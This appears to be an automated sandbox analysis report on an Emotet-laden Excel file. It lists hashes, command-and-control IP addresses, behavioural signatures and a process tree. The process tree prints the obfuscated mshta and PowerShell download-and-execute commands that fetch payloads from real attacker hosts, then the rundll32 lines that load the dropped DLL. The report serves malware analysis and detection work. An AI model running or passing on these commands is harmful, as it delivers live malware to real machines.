emotet | 1260ff0a2fff2aa76478b723fc979c02f5b051d7edcb19cb4428cbb157bd1a7b

Analysis

max time kernel
140s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
20/01/2022, 20:15

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General

Target
203f07c7c9b2c411366db87862173b0c.xls
Size 141KB
Sample220120-y1kqpsbdgn
SHA256 1260ff0a2fff2aa76478b723fc979c02f5b051d7edcb19cb4428cbb157bd1a7b
MD5 203f07c7c9b2c411366db87862173b0c
SHA1 aa69467249e555900011774563b5d982e312eae6
SHA512 9ca2becf165acb6b63299395ae139d4e7e5a931dd2596bc25b77dd56d854c05bda378343349083b90cdc0a4c7c6fe645703c1c5b604b6b9aaeb2ec5fe0beea42
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker persistence suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	952	3428	cmd.exe	52

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1480 created 3472	1480	WerFault.exe	63

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
43	3472	mshta.exe
61	3040	powershell.exe
63	3040	powershell.exe
65	3040	powershell.exe
73	396	rundll32.exe

Downloads MZ/PE file
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
4044	rundll32.exe
3592	rundll32.exe
2664	rundll32.exe
396	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Otrmgeinp\xlozrmfwubybey.yin	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3372	3472	WerFault.exe	63

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3428	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3040	powershell.exe
3372	WerFault.exe
3372	WerFault.exe
3040	powershell.exe
396	rundll32.exe
396	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3040	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE
3428	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3428 wrote to memory of 412	3428	EXCEL.EXE	57
PID 3428 wrote to memory of 412	3428	EXCEL.EXE	57
PID 3428 wrote to memory of 952	3428	EXCEL.EXE	60
PID 3428 wrote to memory of 952	3428	EXCEL.EXE	60
PID 952 wrote to memory of 3472	952	cmd.exe	63
PID 952 wrote to memory of 3472	952	cmd.exe	63
PID 1480 wrote to memory of 3472	1480	WerFault.exe	63
PID 1480 wrote to memory of 3472	1480	WerFault.exe	63
PID 3472 wrote to memory of 3040	3472	mshta.exe	66
PID 3472 wrote to memory of 3040	3472	mshta.exe	66
PID 3040 wrote to memory of 2704	3040	powershell.exe	75
PID 3040 wrote to memory of 2704	3040	powershell.exe	75
PID 2704 wrote to memory of 4044	2704	cmd.exe	76
PID 2704 wrote to memory of 4044	2704	cmd.exe	76
PID 2704 wrote to memory of 4044	2704	cmd.exe	76
PID 4044 wrote to memory of 3592	4044	rundll32.exe	77
PID 4044 wrote to memory of 3592	4044	rundll32.exe	77
PID 4044 wrote to memory of 3592	4044	rundll32.exe	77
PID 3592 wrote to memory of 2664	3592	rundll32.exe	78
PID 3592 wrote to memory of 2664	3592	rundll32.exe	78
PID 3592 wrote to memory of 2664	3592	rundll32.exe	78
PID 2664 wrote to memory of 396	2664	rundll32.exe	79
PID 2664 wrote to memory of 396	2664	rundll32.exe	79
PID 2664 wrote to memory of 396	2664	rundll32.exe	79

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\203f07c7c9b2c411366db87862173b0c.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3428
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:412
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:952
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3472
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3040
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2704
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:4044
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3592
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Otrmgeinp\xlozrmfwubybey.yin",pxOtq
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2664
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Otrmgeinp\xlozrmfwubybey.yin",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:396
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3472 -s 1712
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:3372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:1064

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 2c5b7a0653ce5be359822f52ec403edc RFc0+nKlYkGqGxBRAcxqNg.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:2228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:2508

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 184 -p 3472 -ip 3472
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:1480

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/396-880-0x00000000058E0000-0x0000000005906000-memory.dmp

Download

memory/396-874-0x00000000056A0000-0x00000000056C6000-memory.dmp

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memory/396-872-0x0000000004FC0000-0x0000000004FE6000-memory.dmp

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memory/396-870-0x0000000004DC0000-0x0000000004DE6000-memory.dmp

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memory/396-876-0x0000000005700000-0x0000000005726000-memory.dmp

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memory/396-878-0x00000000057E0000-0x0000000005806000-memory.dmp

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memory/396-882-0x00000000059E0000-0x0000000005A06000-memory.dmp

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memory/396-884-0x0000000005AC0000-0x0000000005AE6000-memory.dmp

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memory/2664-867-0x0000000002A60000-0x0000000002A86000-memory.dmp

Download

memory/3040-845-0x000001AB44A00000-0x000001AB5CB80000-memory.dmp

Download

memory/3040-847-0x000001AB5D050000-0x000001AB5D094000-memory.dmp

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memory/3040-855-0x000001AB5D120000-0x000001AB5D196000-memory.dmp

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memory/3040-842-0x000001AB44990000-0x000001AB449B2000-memory.dmp

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memory/3040-843-0x000001AB44A00000-0x000001AB5CB80000-memory.dmp

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memory/3428-132-0x00007FFCA59F0000-0x00007FFCA5A00000-memory.dmp

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memory/3428-904-0x00007FFCA59F0000-0x00007FFCA5A00000-memory.dmp

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memory/3428-907-0x00007FFCA59F0000-0x00007FFCA5A00000-memory.dmp

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memory/3428-906-0x00007FFCA59F0000-0x00007FFCA5A00000-memory.dmp

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memory/3428-130-0x00007FFCA59F0000-0x00007FFCA5A00000-memory.dmp

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memory/3428-905-0x00007FFCA59F0000-0x00007FFCA5A00000-memory.dmp

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memory/3428-131-0x00007FFCA59F0000-0x00007FFCA5A00000-memory.dmp

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memory/3428-138-0x00007FFCA3510000-0x00007FFCA3520000-memory.dmp

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memory/3428-137-0x00007FFCA3510000-0x00007FFCA3520000-memory.dmp

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memory/3428-134-0x00007FFCA59F0000-0x00007FFCA5A00000-memory.dmp

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memory/3428-133-0x00007FFCA59F0000-0x00007FFCA5A00000-memory.dmp

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memory/3592-853-0x0000000002930000-0x0000000002956000-memory.dmp

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memory/3592-858-0x00000000048D0000-0x00000000048F6000-memory.dmp

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memory/3592-860-0x00000000049E0000-0x0000000004A06000-memory.dmp

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memory/3592-862-0x0000000004A40000-0x0000000004A66000-memory.dmp

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memory/3592-865-0x0000000004BC0000-0x0000000004BE6000-memory.dmp

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memory/4044-850-0x00000000042A0000-0x00000000042C6000-memory.dmp

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